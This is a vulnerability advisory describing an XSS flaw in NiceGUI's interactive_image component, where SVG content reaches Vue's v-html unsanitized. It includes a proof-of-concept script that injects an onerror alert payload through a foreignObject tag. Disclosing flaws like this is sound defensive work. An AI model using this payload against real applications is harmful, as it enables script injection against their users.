NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content

Summary

A Cross-Site Scripting (XSS) vulnerability exists in the ui.interactive_image component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag.

Details

The vulnerability is located in nicegui/elements/interactive_image.js. The component uses the following code to render content:

<g v-html="content"></g>

Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a tag containing malicious scripts, bypassing typical image restrictions.

PoC

from nicegui import ui

@ui.page('/')
def main():
    ui.label('NiceGUI SVG XSS PoC')
    
    # Standard image loading
    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')
    
    # Payload: Embeds raw HTML execution inside SVG
    # This executes immediately when the image component is rendered
    img.content = (
        '<foreignObject>'
        '<body xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">'
        '<img src=x onerror=alert("XSS-SVG")>'
        '</body>'
        '</foreignObject>'
    )

ui.run()

Impact

• Type: Reflected / Stored XSS (depending on data source)

• Severity: Moderate

• Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.